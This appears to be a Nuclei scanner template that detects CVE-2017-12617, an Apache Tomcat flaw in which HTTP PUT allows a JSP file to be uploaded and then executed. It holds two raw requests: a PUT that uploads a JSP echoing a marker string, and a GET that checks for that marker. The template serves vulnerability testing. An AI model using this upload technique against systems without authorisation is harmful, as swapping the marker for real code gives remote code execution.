id: CVE-2017-12617 info: name: Apache Tomcat - Remote Code Execution author: pussycat0x severity: high description: | When running Apache Tomcat versions 9.0.0.M1 to 9.0.0, 8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46 and 7.0.0 to 7.0.81 with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default servlet to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server. reference: - https://versa-networks.com/blog/apache-tomcat-remote-code-execution-vulnerability-cve-2017-12617/ - https://github.com/cyberheartmi9/CVE-2017-12617 - https://www.exploit-db.com/exploits/43008 - https://nvd.nist.gov/vuln/detail/CVE-2017-12617 classification: cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.3 cwe-id: CWE-434 metadata: verified: "true" max-request: 2 shodan-query: html:"Apache Tomcat" tags: cve,cve2017,tomcat,apache,rce,kev,intrusive http: - raw: - | PUT /{{randstr}}.jsp/ HTTP/1.1 Host: {{Hostname}} <% out.println("CVE-2017-12617");%> - | GET /{{randstr}}.jsp HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body_2 words: - "CVE-2017-12617" - type: status status: - 200